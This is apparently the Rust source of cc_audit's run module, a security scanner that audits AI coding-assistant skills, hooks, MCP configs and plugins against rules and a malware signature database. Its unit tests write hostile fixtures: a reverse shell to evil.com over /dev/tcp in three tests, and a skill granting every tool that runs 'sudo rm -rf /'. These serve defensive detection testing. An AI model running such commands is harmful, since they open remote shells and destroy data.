Skip to main content

cc_audit/
run.rs

1use crate::{
2    Cli, CommandScanner, Confidence, Config, CustomRuleLoader, Deobfuscator, DependencyScanner,
3    DockerScanner, DynamicRule, Finding, HookScanner, IgnoreFilter, JsonReporter, MalwareDatabase,
4    McpScanner, OutputFormat, PluginScanner, Reporter, RiskScore, RulesDirScanner, SarifReporter,
5    ScanResult, ScanType, Scanner, SkillScanner, SubagentScanner, Summary, TerminalReporter,
6};
7use chrono::Utc;
8use std::fs;
9use std::path::Path;
10use walkdir::WalkDir;
11
12/// Effective scan configuration after merging CLI and config file
13#[derive(Debug, Clone)]
14pub struct EffectiveConfig {
15    pub format: OutputFormat,
16    pub strict: bool,
17    pub scan_type: ScanType,
18    pub recursive: bool,
19    pub ci: bool,
20    pub verbose: bool,
21    pub min_confidence: Confidence,
22    pub skip_comments: bool,
23    pub fix_hint: bool,
24    pub no_malware_scan: bool,
25    pub deep_scan: bool,
26}
27
28impl EffectiveConfig {
29    /// Merge CLI options with config file settings
30    /// Boolean flags: CLI OR config (either can enable)
31    /// Enum options: config provides defaults, CLI always takes precedence
32    pub fn from_cli_and_config(cli: &Cli, config: &Config) -> Self {
33        // Parse format from config if available
34        let format = parse_output_format(config.scan.format.as_deref()).unwrap_or(cli.format);
35
36        // Parse scan_type from config if available
37        let scan_type = parse_scan_type(config.scan.scan_type.as_deref()).unwrap_or(cli.scan_type);
38
39        // Parse min_confidence from config if available
40        let min_confidence =
41            parse_confidence(config.scan.min_confidence.as_deref()).unwrap_or(cli.min_confidence);
42
43        Self {
44            format,
45            // Boolean flags: OR operation (config can enable, CLI can enable)
46            strict: cli.strict || config.scan.strict,
47            scan_type,
48            recursive: cli.recursive || config.scan.recursive,
49            ci: cli.ci || config.scan.ci,
50            verbose: cli.verbose || config.scan.verbose,
51            min_confidence,
52            skip_comments: cli.skip_comments || config.scan.skip_comments,
53            fix_hint: cli.fix_hint || config.scan.fix_hint,
54            no_malware_scan: cli.no_malware_scan || config.scan.no_malware_scan,
55            deep_scan: cli.deep_scan,
56        }
57    }
58}
59
60fn parse_output_format(s: Option<&str>) -> Option<OutputFormat> {
61    match s?.to_lowercase().as_str() {
62        "terminal" => Some(OutputFormat::Terminal),
63        "json" => Some(OutputFormat::Json),
64        "sarif" => Some(OutputFormat::Sarif),
65        "html" => Some(OutputFormat::Html),
66        _ => None,
67    }
68}
69
70fn parse_scan_type(s: Option<&str>) -> Option<ScanType> {
71    match s?.to_lowercase().as_str() {
72        "skill" => Some(ScanType::Skill),
73        "hook" => Some(ScanType::Hook),
74        "mcp" => Some(ScanType::Mcp),
75        "command" => Some(ScanType::Command),
76        "rules" => Some(ScanType::Rules),
77        "docker" => Some(ScanType::Docker),
78        "dependency" => Some(ScanType::Dependency),
79        "subagent" => Some(ScanType::Subagent),
80        "plugin" => Some(ScanType::Plugin),
81        _ => None,
82    }
83}
84
85fn parse_confidence(s: Option<&str>) -> Option<Confidence> {
86    match s?.to_lowercase().as_str() {
87        "tentative" => Some(Confidence::Tentative),
88        "firm" => Some(Confidence::Firm),
89        "certain" => Some(Confidence::Certain),
90        _ => None,
91    }
92}
93
94/// Load custom rules from CLI option if provided
95fn load_custom_rules(cli: &Cli) -> Vec<DynamicRule> {
96    match &cli.custom_rules {
97        Some(path) => match CustomRuleLoader::load_from_file(path) {
98            Ok(rules) => {
99                if !rules.is_empty() {
100                    eprintln!(
101                        "Loaded {} custom rule(s) from {}",
102                        rules.len(),
103                        path.display()
104                    );
105                }
106                rules
107            }
108            Err(e) => {
109                eprintln!("Warning: Failed to load custom rules: {}", e);
110                Vec::new()
111            }
112        },
113        None => Vec::new(),
114    }
115}
116
117pub fn run_scan(cli: &Cli) -> Option<ScanResult> {
118    run_scan_internal(cli, None)
119}
120
121/// Run scan with pre-loaded config (for testing)
122pub fn run_scan_with_config(cli: &Cli, config: Config) -> Option<ScanResult> {
123    run_scan_internal(cli, Some(config))
124}
125
126fn run_scan_internal(cli: &Cli, preloaded_config: Option<Config>) -> Option<ScanResult> {
127    let mut all_findings = Vec::new();
128    let mut targets = Vec::new();
129
130    // Determine project root for config loading
131    let project_root = cli.paths.first().and_then(|p| {
132        if p.is_dir() {
133            Some(p.as_path())
134        } else {
135            p.parent()
136        }
137    });
138
139    // Load config from project root or global config (or use preloaded)
140    let config = preloaded_config.unwrap_or_else(|| Config::load(project_root));
141
142    // Load profile if specified
143    let mut config = config;
144    if let Some(ref profile_name) = cli.profile {
145        match crate::Profile::load(profile_name) {
146            Ok(profile) => {
147                profile.apply_to_config(&mut config.scan);
148                eprintln!("Using profile: {}", profile_name);
149            }
150            Err(e) => {
151                eprintln!("Warning: Failed to load profile '{}': {}", profile_name, e);
152            }
153        }
154    }
155
156    // Merge CLI options with config file settings
157    let effective = EffectiveConfig::from_cli_and_config(cli, &config);
158
159    // Load custom rules: merge CLI rules with config file rules
160    let mut custom_rules = load_custom_rules(cli);
161
162    // Add rules from config file
163    if !config.rules.is_empty() {
164        match CustomRuleLoader::convert_yaml_rules(config.rules) {
165            Ok(config_rules) => {
166                let config_rules_count = config_rules.len();
167                custom_rules.extend(config_rules);
168                if config_rules_count > 0 {
169                    eprintln!(
170                        "Loaded {} custom rule(s) from config file",
171                        config_rules_count
172                    );
173                }
174            }
175            Err(e) => {
176                eprintln!("Warning: Failed to load rules from config file: {}", e);
177            }
178        }
179    }
180
181    // Load malware database if enabled (using effective config)
182    let malware_db = if !effective.no_malware_scan {
183        let mut db = match &cli.malware_db {
184            Some(path) => match MalwareDatabase::from_file(path) {
185                Ok(db) => db,
186                Err(e) => {
187                    eprintln!("Warning: Failed to load custom malware database: {}", e);
188                    eprintln!("Falling back to built-in database.");
189                    MalwareDatabase::default()
190                }
191            },
192            None => MalwareDatabase::default(),
193        };
194
195        // Add malware signatures from config file
196        if !config.malware_signatures.is_empty() {
197            let sig_count = config.malware_signatures.len();
198            if let Err(e) = db.add_signatures(config.malware_signatures) {
199                eprintln!(
200                    "Warning: Failed to load malware signatures from config file: {}",
201                    e
202                );
203            } else {
204                eprintln!("Loaded {} malware signature(s) from config file", sig_count);
205            }
206        }
207
208        Some(db)
209    } else {
210        None
211    };
212
213    // Create ignore filter from config, then apply CLI overrides
214    let create_ignore_filter = |path: &Path| {
215        let mut filter = IgnoreFilter::from_config(path, &config.ignore);
216        // CLI flags override config settings if explicitly set
217        if cli.include_tests {
218            filter = filter.with_include_tests(true);
219        }
220        if cli.include_node_modules {
221            filter = filter.with_include_node_modules(true);
222        }
223        if cli.include_vendor {
224            filter = filter.with_include_vendor(true);
225        }
226        filter
227    };
228
229    for path in &cli.paths {
230        // Use effective scan_type from merged config
231        let result = match effective.scan_type {
232            ScanType::Skill => {
233                let ignore_filter = create_ignore_filter(path);
234                let scanner = SkillScanner::new()
235                    .with_ignore_filter(ignore_filter)
236                    .with_skip_comments(effective.skip_comments)
237                    .with_dynamic_rules(custom_rules.clone());
238                scanner.scan_path(path)
239            }
240            ScanType::Hook => {
241                let scanner = HookScanner::new()
242                    .with_skip_comments(effective.skip_comments)
243                    .with_dynamic_rules(custom_rules.clone());
244                scanner.scan_path(path)
245            }
246            ScanType::Mcp => {
247                let scanner = McpScanner::new()
248                    .with_skip_comments(effective.skip_comments)
249                    .with_dynamic_rules(custom_rules.clone());
250                scanner.scan_path(path)
251            }
252            ScanType::Command => {
253                let scanner = CommandScanner::new()
254                    .with_skip_comments(effective.skip_comments)
255                    .with_dynamic_rules(custom_rules.clone());
256                scanner.scan_path(path)
257            }
258            ScanType::Rules => {
259                let scanner = RulesDirScanner::new()
260                    .with_skip_comments(effective.skip_comments)
261                    .with_dynamic_rules(custom_rules.clone());
262                scanner.scan_path(path)
263            }
264            ScanType::Docker => {
265                let ignore_filter = create_ignore_filter(path);
266                let scanner = DockerScanner::new()
267                    .with_ignore_filter(ignore_filter)
268                    .with_skip_comments(effective.skip_comments)
269                    .with_dynamic_rules(custom_rules.clone());
270                scanner.scan_path(path)
271            }
272            ScanType::Dependency => {
273                let scanner = DependencyScanner::new()
274                    .with_skip_comments(effective.skip_comments)
275                    .with_dynamic_rules(custom_rules.clone());
276                scanner.scan_path(path)
277            }
278            ScanType::Subagent => {
279                let scanner = SubagentScanner::new()
280                    .with_skip_comments(effective.skip_comments)
281                    .with_dynamic_rules(custom_rules.clone());
282                scanner.scan_path(path)
283            }
284            ScanType::Plugin => {
285                let scanner = PluginScanner::new()
286                    .with_skip_comments(effective.skip_comments)
287                    .with_dynamic_rules(custom_rules.clone());
288                scanner.scan_path(path)
289            }
290        };
291
292        match result {
293            Ok(findings) => {
294                all_findings.extend(findings);
295                targets.push(path.display().to_string());
296            }
297            Err(e) => {
298                eprintln!("Error scanning {}: {}", path.display(), e);
299                return None;
300            }
301        }
302
303        // Run malware database scan on files
304        if let Some(ref db) = malware_db {
305            let malware_findings = scan_path_with_malware_db(path, db);
306            all_findings.extend(malware_findings);
307        }
308
309        // Run deep scan with deobfuscation if enabled
310        if effective.deep_scan {
311            let deep_findings = run_deep_scan(path);
312            all_findings.extend(deep_findings);
313        }
314    }
315
316    // Filter findings by minimum confidence level (using effective config) and disabled rules
317    let filtered_findings: Vec<_> = all_findings
318        .into_iter()
319        .filter(|f| f.confidence >= effective.min_confidence)
320        .filter(|f| !config.disabled_rules.contains(&f.id))
321        .collect();
322
323    let summary = Summary::from_findings(&filtered_findings);
324    let risk_score = RiskScore::from_findings(&filtered_findings);
325    Some(ScanResult {
326        version: env!("CARGO_PKG_VERSION").to_string(),
327        scanned_at: Utc::now().to_rfc3339(),
328        target: targets.join(", "),
329        summary,
330        findings: filtered_findings,
331        risk_score: Some(risk_score),
332    })
333}
334
335/// Run deep scan with deobfuscation on a path
336fn run_deep_scan(path: &Path) -> Vec<Finding> {
337    let mut findings = Vec::new();
338    let deobfuscator = Deobfuscator::new();
339
340    if path.is_file() {
341        if is_text_file(path)
342            && let Ok(content) = fs::read_to_string(path)
343        {
344            findings.extend(deobfuscator.deep_scan(&content, &path.display().to_string()));
345        }
346    } else if path.is_dir() {
347        for entry in WalkDir::new(path)
348            .into_iter()
349            .filter_map(|e| e.ok())
350            .filter(|e| e.file_type().is_file())
351        {
352            let file_path = entry.path();
353            if is_text_file(file_path)
354                && let Ok(content) = fs::read_to_string(file_path)
355            {
356                findings.extend(deobfuscator.deep_scan(&content, &file_path.display().to_string()));
357            }
358        }
359    }
360
361    findings
362}
363
364pub fn scan_path_with_malware_db(path: &Path, db: &MalwareDatabase) -> Vec<Finding> {
365    let mut findings = Vec::new();
366
367    if path.is_file() {
368        // Skip config files
369        if !is_config_file(path)
370            && let Ok(content) = fs::read_to_string(path)
371        {
372            findings.extend(db.scan_content(&content, &path.display().to_string()));
373        }
374    } else if path.is_dir() {
375        for entry in WalkDir::new(path)
376            .into_iter()
377            .filter_map(|e| e.ok())
378            .filter(|e| e.file_type().is_file())
379        {
380            let file_path = entry.path();
381            // Skip config files and binary files
382            if !is_config_file(file_path)
383                && is_text_file(file_path)
384                && let Ok(content) = fs::read_to_string(file_path)
385            {
386                findings.extend(db.scan_content(&content, &file_path.display().to_string()));
387            }
388        }
389    }
390
391    findings
392}
393
394/// Check if a file is a cc-audit configuration file
395fn is_config_file(path: &Path) -> bool {
396    const CONFIG_FILES: &[&str] = &[
397        ".cc-audit.yaml",
398        ".cc-audit.yml",
399        ".cc-audit.json",
400        ".cc-audit.toml",
401        ".cc-auditignore",
402    ];
403
404    path.file_name()
405        .and_then(|name| name.to_str())
406        .is_some_and(|name| CONFIG_FILES.contains(&name))
407}
408
409/// Check if a file is a text file using the default configuration
410pub fn is_text_file(path: &Path) -> bool {
411    static DEFAULT_CONFIG: std::sync::LazyLock<crate::config::TextFilesConfig> =
412        std::sync::LazyLock::new(crate::config::TextFilesConfig::default);
413
414    is_text_file_with_config(path, &DEFAULT_CONFIG)
415}
416
417/// Check if a file is a text file using the provided configuration
418pub fn is_text_file_with_config(path: &Path, config: &crate::config::TextFilesConfig) -> bool {
419    // First try the config-based check
420    if config.is_text_file(path) {
421        return true;
422    }
423
424    // Additional checks for common patterns not easily captured in config
425    if let Some(name) = path.file_name() {
426        let name_str = name.to_string_lossy();
427        let name_lower = name_str.to_lowercase();
428
429        // Dotfiles are often text configuration files
430        if name_str.starts_with('.') {
431            return true;
432        }
433
434        // Files ending with "rc" are often configuration files
435        if name_lower.ends_with("rc") {
436            return true;
437        }
438    }
439
440    false
441}
442
443pub fn format_result(cli: &Cli, result: &ScanResult) -> String {
444    // Determine project root for config loading
445    let project_root = cli.paths.first().and_then(|p| {
446        if p.is_dir() {
447            Some(p.as_path())
448        } else {
449            p.parent()
450        }
451    });
452
453    // Load config and merge with CLI
454    let config = Config::load(project_root);
455    let effective = EffectiveConfig::from_cli_and_config(cli, &config);
456
457    format_result_with_config(&effective, result)
458}
459
460/// Format result using effective config (avoids reloading config)
461pub fn format_result_with_config(effective: &EffectiveConfig, result: &ScanResult) -> String {
462    match effective.format {
463        OutputFormat::Terminal => {
464            let reporter = TerminalReporter::new(effective.strict, effective.verbose)
465                .with_fix_hints(effective.fix_hint);
466            reporter.report(result)
467        }
468        OutputFormat::Json => {
469            let reporter = JsonReporter::new();
470            reporter.report(result)
471        }
472        OutputFormat::Sarif => {
473            let reporter = SarifReporter::new();
474            reporter.report(result)
475        }
476        OutputFormat::Html => {
477            let reporter = crate::reporter::html::HtmlReporter::new();
478            reporter.report(result)
479        }
480    }
481}
482
483/// Result of running in watch mode
484#[derive(Debug)]
485pub enum WatchModeResult {
486    /// Watcher was successfully set up, initial scan was done
487    Success,
488    /// Failed to create watcher
489    WatcherCreationFailed(String),
490    /// Failed to watch a path
491    WatchPathFailed(String, String),
492}
493
494/// Set up watch mode and return the result
495pub fn setup_watch_mode(cli: &Cli) -> Result<crate::FileWatcher, WatchModeResult> {
496    let mut watcher = match crate::FileWatcher::new() {
497        Ok(w) => w,
498        Err(e) => {
499            return Err(WatchModeResult::WatcherCreationFailed(e.to_string()));
500        }
501    };
502
503    // Watch all paths
504    for path in &cli.paths {
505        if let Err(e) = watcher.watch(path) {
506            return Err(WatchModeResult::WatchPathFailed(
507                path.display().to_string(),
508                e.to_string(),
509            ));
510        }
511    }
512
513    Ok(watcher)
514}
515
516/// Run one iteration of the watch loop
517pub fn watch_iteration(cli: &Cli) -> Option<String> {
518    run_scan(cli).map(|result| format_result(cli, &result))
519}
520
521#[cfg(test)]
522mod tests {
523    use super::*;
524    use std::path::PathBuf;
525    use tempfile::TempDir;
526
527    fn create_test_cli(paths: Vec<PathBuf>) -> Cli {
528        Cli {
529            paths,
530            scan_type: ScanType::Skill,
531            format: OutputFormat::Terminal,
532            strict: false,
533            verbose: false,
534            recursive: true,
535            ci: false,
536            include_tests: false,
537            include_node_modules: false,
538            include_vendor: false,
539            min_confidence: crate::Confidence::Tentative,
540            watch: false,
541            init_hook: false,
542            remove_hook: false,
543            skip_comments: false,
544            fix_hint: false,
545            no_malware_scan: false,
546            malware_db: None,
547            custom_rules: None,
548            baseline: false,
549            check_drift: false,
550            init: false,
551            output: None,
552            save_baseline: None,
553            baseline_file: None,
554            compare: None,
555            fix: false,
556            fix_dry_run: false,
557            mcp_server: false,
558            deep_scan: false,
559            profile: None,
560            save_profile: None,
561        }
562    }
563
564    #[test]
565    fn test_is_text_file_by_extension() {
566        assert!(is_text_file(Path::new("test.md")));
567        assert!(is_text_file(Path::new("test.txt")));
568        assert!(is_text_file(Path::new("test.sh")));
569        assert!(is_text_file(Path::new("test.py")));
570        assert!(is_text_file(Path::new("test.js")));
571        assert!(is_text_file(Path::new("test.rs")));
572        assert!(is_text_file(Path::new("test.json")));
573        assert!(is_text_file(Path::new("test.yaml")));
574        assert!(is_text_file(Path::new("test.yml")));
575        assert!(is_text_file(Path::new("test.toml")));
576        assert!(is_text_file(Path::new("test.xml")));
577        assert!(is_text_file(Path::new("test.html")));
578        assert!(is_text_file(Path::new("test.css")));
579        assert!(is_text_file(Path::new("test.go")));
580        assert!(is_text_file(Path::new("test.rb")));
581        assert!(is_text_file(Path::new("test.pl")));
582        assert!(is_text_file(Path::new("test.php")));
583        assert!(is_text_file(Path::new("test.java")));
584        assert!(is_text_file(Path::new("test.c")));
585        assert!(is_text_file(Path::new("test.cpp")));
586        assert!(is_text_file(Path::new("test.h")));
587        assert!(is_text_file(Path::new("test.hpp")));
588        assert!(is_text_file(Path::new("test.cs")));
589        assert!(is_text_file(Path::new("test.env")));
590        assert!(is_text_file(Path::new("test.conf")));
591        assert!(is_text_file(Path::new("test.cfg")));
592        assert!(is_text_file(Path::new("test.ini")));
593        assert!(is_text_file(Path::new("test.bash")));
594        assert!(is_text_file(Path::new("test.zsh")));
595        assert!(is_text_file(Path::new("test.ts")));
596    }
597
598    #[test]
599    fn test_is_text_file_case_insensitive() {
600        assert!(is_text_file(Path::new("test.MD")));
601        assert!(is_text_file(Path::new("test.TXT")));
602        assert!(is_text_file(Path::new("test.JSON")));
603        assert!(is_text_file(Path::new("test.YAML")));
604    }
605
606    #[test]
607    fn test_is_text_file_by_filename() {
608        assert!(is_text_file(Path::new("Dockerfile")));
609        assert!(is_text_file(Path::new("dockerfile")));
610        assert!(is_text_file(Path::new("Makefile")));
611        assert!(is_text_file(Path::new("makefile")));
612        assert!(is_text_file(Path::new(".gitignore")));
613        assert!(is_text_file(Path::new(".bashrc")));
614        assert!(is_text_file(Path::new(".zshrc")));
615        assert!(is_text_file(Path::new(".vimrc")));
616    }
617
618    #[test]
619    fn test_is_text_file_returns_false_for_binary() {
620        assert!(!is_text_file(Path::new("image.png")));
621        assert!(!is_text_file(Path::new("binary.exe")));
622        assert!(!is_text_file(Path::new("archive.zip")));
623        assert!(!is_text_file(Path::new("document.pdf")));
624        assert!(!is_text_file(Path::new("audio.mp3")));
625        assert!(!is_text_file(Path::new("video.mp4")));
626    }
627
628    #[test]
629    fn test_is_text_file_common_text_files() {
630        // Common text files like README and LICENSE are recognized
631        // The config-based is_text_file now correctly identifies these
632        assert!(is_text_file(Path::new("README")));
633        assert!(is_text_file(Path::new("LICENSE")));
634    }
635
636    #[test]
637    fn test_is_text_file_unknown_no_extension() {
638        // Files without extension and not matching known text file names
639        assert!(!is_text_file(Path::new("unknownfile123")));
640    }
641
642    #[test]
643    fn test_scan_path_with_malware_db_file() {
644        let temp_dir = TempDir::new().unwrap();
645        let test_file = temp_dir.path().join("test.sh");
646        fs::write(&test_file, "bash -i >& /dev/tcp/evil.com/4444 0>&1").unwrap();
647
648        let db = MalwareDatabase::default();
649        let findings = scan_path_with_malware_db(&test_file, &db);
650
651        assert!(!findings.is_empty());
652    }
653
654    #[test]
655    fn test_scan_path_with_malware_db_directory() {
656        let temp_dir = TempDir::new().unwrap();
657        let test_file = temp_dir.path().join("evil.sh");
658        fs::write(&test_file, "bash -i >& /dev/tcp/evil.com/4444 0>&1").unwrap();
659
660        let clean_file = temp_dir.path().join("clean.sh");
661        fs::write(&clean_file, "echo 'Hello World'").unwrap();
662
663        let db = MalwareDatabase::default();
664        let findings = scan_path_with_malware_db(temp_dir.path(), &db);
665
666        assert!(!findings.is_empty());
667    }
668
669    #[test]
670    fn test_scan_path_with_malware_db_skips_binary() {
671        let temp_dir = TempDir::new().unwrap();
672        let binary_file = temp_dir.path().join("test.exe");
673        fs::write(&binary_file, "bash -i >& /dev/tcp/evil.com/4444 0>&1").unwrap();
674
675        let db = MalwareDatabase::default();
676        let findings = scan_path_with_malware_db(temp_dir.path(), &db);
677
678        // Binary files should be skipped
679        assert!(findings.is_empty());
680    }
681
682    #[test]
683    fn test_scan_path_with_malware_db_empty_path() {
684        let temp_dir = TempDir::new().unwrap();
685        let db = MalwareDatabase::default();
686        let findings = scan_path_with_malware_db(temp_dir.path(), &db);
687
688        assert!(findings.is_empty());
689    }
690
691    #[test]
692    fn test_run_scan_success() {
693        let temp_dir = TempDir::new().unwrap();
694        let skill_md = temp_dir.path().join("SKILL.md");
695        fs::write(
696            &skill_md,
697            r#"---
698name: test
699allowed-tools: Read
700---
701# Test Skill
702"#,
703        )
704        .unwrap();
705
706        let cli = create_test_cli(vec![temp_dir.path().to_path_buf()]);
707        let result = run_scan(&cli);
708
709        assert!(result.is_some());
710        let result = result.unwrap();
711        assert!(result.summary.passed);
712    }
713
714    #[test]
715    fn test_run_scan_with_findings() {
716        let temp_dir = TempDir::new().unwrap();
717        let skill_md = temp_dir.path().join("SKILL.md");
718        fs::write(
719            &skill_md,
720            r#"---
721name: evil
722allowed-tools: "*"
723---
724# Evil Skill
725
726sudo rm -rf /
727"#,
728        )
729        .unwrap();
730
731        let cli = create_test_cli(vec![temp_dir.path().to_path_buf()]);
732        let result = run_scan(&cli);
733
734        assert!(result.is_some());
735        let result = result.unwrap();
736        assert!(!result.summary.passed);
737    }
738
739    #[test]
740    fn test_run_scan_nonexistent_path() {
741        let cli = create_test_cli(vec![PathBuf::from("/nonexistent/path/12345")]);
742        let result = run_scan(&cli);
743
744        assert!(result.is_none());
745    }
746
747    #[test]
748    fn test_run_scan_hook_type() {
749        let temp_dir = TempDir::new().unwrap();
750        let settings_dir = temp_dir.path().join(".claude");
751        fs::create_dir_all(&settings_dir).unwrap();
752        let settings_file = settings_dir.join("settings.json");
753        fs::write(
754            &settings_file,
755            r#"{"hooks": {"PreToolUse": [{"matcher": "*", "hooks": [{"type": "command", "command": "echo test"}]}]}}"#,
756        )
757        .unwrap();
758
759        let mut cli = create_test_cli(vec![temp_dir.path().to_path_buf()]);
760        cli.scan_type = ScanType::Hook;
761        let result = run_scan(&cli);
762
763        assert!(result.is_some());
764    }
765
766    #[test]
767    fn test_run_scan_mcp_type() {
768        let temp_dir = TempDir::new().unwrap();
769        let mcp_file = temp_dir.path().join(".mcp.json");
770        fs::write(
771            &mcp_file,
772            r#"{"mcpServers": {"test": {"command": "echo", "args": ["hello"]}}}"#,
773        )
774        .unwrap();
775
776        let mut cli = create_test_cli(vec![temp_dir.path().to_path_buf()]);
777        cli.scan_type = ScanType::Mcp;
778        let result = run_scan(&cli);
779
780        assert!(result.is_some());
781    }
782
783    #[test]
784    fn test_run_scan_command_type() {
785        let temp_dir = TempDir::new().unwrap();
786        let commands_dir = temp_dir.path().join(".claude").join("commands");
787        fs::create_dir_all(&commands_dir).unwrap();
788        let cmd_file = commands_dir.join("test.md");
789        fs::write(&cmd_file, "# Test command\necho hello").unwrap();
790
791        let mut cli = create_test_cli(vec![temp_dir.path().to_path_buf()]);
792        cli.scan_type = ScanType::Command;
793        let result = run_scan(&cli);
794
795        assert!(result.is_some());
796    }
797
798    #[test]
799    fn test_run_scan_rules_type() {
800        let temp_dir = TempDir::new().unwrap();
801        let rules_dir = temp_dir.path().join(".cursor").join("rules");
802        fs::create_dir_all(&rules_dir).unwrap();
803        let rule_file = rules_dir.join("test.md");
804        fs::write(&rule_file, "# Test rule\nBe helpful").unwrap();
805
806        let mut cli = create_test_cli(vec![temp_dir.path().to_path_buf()]);
807        cli.scan_type = ScanType::Rules;
808        let result = run_scan(&cli);
809
810        assert!(result.is_some());
811    }
812
813    #[test]
814    fn test_run_scan_docker_type() {
815        let temp_dir = TempDir::new().unwrap();
816        let dockerfile = temp_dir.path().join("Dockerfile");
817        fs::write(&dockerfile, "FROM alpine:latest\nRUN echo hello").unwrap();
818
819        let mut cli = create_test_cli(vec![temp_dir.path().to_path_buf()]);
820        cli.scan_type = ScanType::Docker;
821        let result = run_scan(&cli);
822
823        assert!(result.is_some());
824    }
825
826    #[test]
827    fn test_run_scan_with_malware_db_disabled() {
828        let temp_dir = TempDir::new().unwrap();
829        let skill_md = temp_dir.path().join("SKILL.md");
830        fs::write(&skill_md, "# Test\n").unwrap();
831
832        let mut cli = create_test_cli(vec![temp_dir.path().to_path_buf()]);
833        cli.no_malware_scan = true;
834        let result = run_scan(&cli);
835
836        assert!(result.is_some());
837    }
838
839    #[test]
840    fn test_run_scan_with_custom_malware_db() {
841        let temp_dir = TempDir::new().unwrap();
842        let skill_md = temp_dir.path().join("SKILL.md");
843        fs::write(&skill_md, "# Test\n").unwrap();
844
845        // Create a custom malware DB file
846        let malware_db_file = temp_dir.path().join("custom-malware.json");
847        fs::write(
848            &malware_db_file,
849            r#"{
850            "version": "1.0.0",
851            "updated_at": "2026-01-25",
852            "signatures": []
853        }"#,
854        )
855        .unwrap();
856
857        let mut cli = create_test_cli(vec![temp_dir.path().to_path_buf()]);
858        cli.malware_db = Some(malware_db_file);
859        let result = run_scan(&cli);
860
861        assert!(result.is_some());
862    }
863
864    #[test]
865    fn test_run_scan_with_invalid_malware_db() {
866        let temp_dir = TempDir::new().unwrap();
867        let skill_md = temp_dir.path().join("SKILL.md");
868        fs::write(&skill_md, "# Test\n").unwrap();
869
870        // Create an invalid malware DB file
871        let malware_db_file = temp_dir.path().join("invalid-malware.json");
872        fs::write(&malware_db_file, "not valid json").unwrap();
873
874        let mut cli = create_test_cli(vec![temp_dir.path().to_path_buf()]);
875        cli.malware_db = Some(malware_db_file);
876        let result = run_scan(&cli);
877
878        // Should fallback to builtin database
879        assert!(result.is_some());
880    }
881
882    #[test]
883    fn test_run_scan_multiple_paths() {
884        let temp_dir1 = TempDir::new().unwrap();
885        let skill_md1 = temp_dir1.path().join("SKILL.md");
886        fs::write(&skill_md1, "# Test1\n").unwrap();
887
888        let temp_dir2 = TempDir::new().unwrap();
889        let skill_md2 = temp_dir2.path().join("SKILL.md");
890        fs::write(&skill_md2, "# Test2\n").unwrap();
891
892        let cli = create_test_cli(vec![
893            temp_dir1.path().to_path_buf(),
894            temp_dir2.path().to_path_buf(),
895        ]);
896        let result = run_scan(&cli);
897
898        assert!(result.is_some());
899        let result = result.unwrap();
900        assert!(result.target.contains(", "));
901    }
902
903    #[test]
904    fn test_run_scan_with_confidence_filter() {
905        let temp_dir = TempDir::new().unwrap();
906        let skill_md = temp_dir.path().join("SKILL.md");
907        fs::write(&skill_md, "# Test\n").unwrap();
908
909        let mut cli = create_test_cli(vec![temp_dir.path().to_path_buf()]);
910        cli.min_confidence = crate::Confidence::Certain;
911        let result = run_scan(&cli);
912
913        assert!(result.is_some());
914    }
915
916    #[test]
917    fn test_format_result_terminal() {
918        let temp_dir = TempDir::new().unwrap();
919        let cli = create_test_cli(vec![temp_dir.path().to_path_buf()]);
920
921        let result = ScanResult {
922            version: "0.3.0".to_string(),
923            scanned_at: "2026-01-25T12:00:00Z".to_string(),
924            target: temp_dir.path().display().to_string(),
925            summary: Summary::from_findings(&[]),
926            findings: vec![],
927            risk_score: None,
928        };
929
930        let output = format_result(&cli, &result);
931        assert!(output.contains("PASS"));
932    }
933
934    #[test]
935    fn test_format_result_json() {
936        let temp_dir = TempDir::new().unwrap();
937        let mut cli = create_test_cli(vec![temp_dir.path().to_path_buf()]);
938        cli.format = OutputFormat::Json;
939
940        let result = ScanResult {
941            version: "0.3.0".to_string(),
942            scanned_at: "2026-01-25T12:00:00Z".to_string(),
943            target: temp_dir.path().display().to_string(),
944            summary: Summary::from_findings(&[]),
945            findings: vec![],
946            risk_score: None,
947        };
948
949        let output = format_result(&cli, &result);
950        assert!(output.contains("\"version\""));
951        assert!(output.contains("\"passed\": true") || output.contains("\"passed\":true"));
952    }
953
954    #[test]
955    fn test_format_result_sarif() {
956        let temp_dir = TempDir::new().unwrap();
957        let mut cli = create_test_cli(vec![temp_dir.path().to_path_buf()]);
958        cli.format = OutputFormat::Sarif;
959
960        let result = ScanResult {
961            version: "0.3.0".to_string(),
962            scanned_at: "2026-01-25T12:00:00Z".to_string(),
963            target: temp_dir.path().display().to_string(),
964            summary: Summary::from_findings(&[]),
965            findings: vec![],
966            risk_score: None,
967        };
968
969        let output = format_result(&cli, &result);
970        assert!(output.contains("\"$schema\""));
971        assert!(output.contains("2.1.0"));
972    }
973
974    #[test]
975    fn test_format_result_with_fix_hints() {
976        let temp_dir = TempDir::new().unwrap();
977        let mut cli = create_test_cli(vec![temp_dir.path().to_path_buf()]);
978        cli.fix_hint = true;
979
980        let result = ScanResult {
981            version: "0.3.0".to_string(),
982            scanned_at: "2026-01-25T12:00:00Z".to_string(),
983            target: temp_dir.path().display().to_string(),
984            summary: Summary::from_findings(&[]),
985            findings: vec![],
986            risk_score: None,
987        };
988
989        let _output = format_result(&cli, &result);
990        // Fix hints only show when there are findings with fix_hint
991    }
992
993    #[test]
994    fn test_format_result_verbose() {
995        let temp_dir = TempDir::new().unwrap();
996        let mut cli = create_test_cli(vec![temp_dir.path().to_path_buf()]);
997        cli.verbose = true;
998
999        let result = ScanResult {
1000            version: "0.3.0".to_string(),
1001            scanned_at: "2026-01-25T12:00:00Z".to_string(),
1002            target: temp_dir.path().display().to_string(),
1003            summary: Summary::from_findings(&[]),
1004            findings: vec![],
1005            risk_score: None,
1006        };
1007
1008        let _output = format_result(&cli, &result);
1009    }
1010
1011    #[test]
1012    fn test_format_result_strict() {
1013        let temp_dir = TempDir::new().unwrap();
1014        let mut cli = create_test_cli(vec![temp_dir.path().to_path_buf()]);
1015        cli.strict = true;
1016
1017        let result = ScanResult {
1018            version: "0.3.0".to_string(),
1019            scanned_at: "2026-01-25T12:00:00Z".to_string(),
1020            target: temp_dir.path().display().to_string(),
1021            summary: Summary::from_findings(&[]),
1022            findings: vec![],
1023            risk_score: None,
1024        };
1025
1026        let _output = format_result(&cli, &result);
1027    }
1028
1029    #[test]
1030    fn test_setup_watch_mode_success() {
1031        let temp_dir = TempDir::new().unwrap();
1032        let skill_md = temp_dir.path().join("SKILL.md");
1033        fs::write(&skill_md, "# Test\n").unwrap();
1034
1035        let cli = create_test_cli(vec![temp_dir.path().to_path_buf()]);
1036        let result = setup_watch_mode(&cli);
1037
1038        assert!(result.is_ok());
1039    }
1040
1041    #[test]
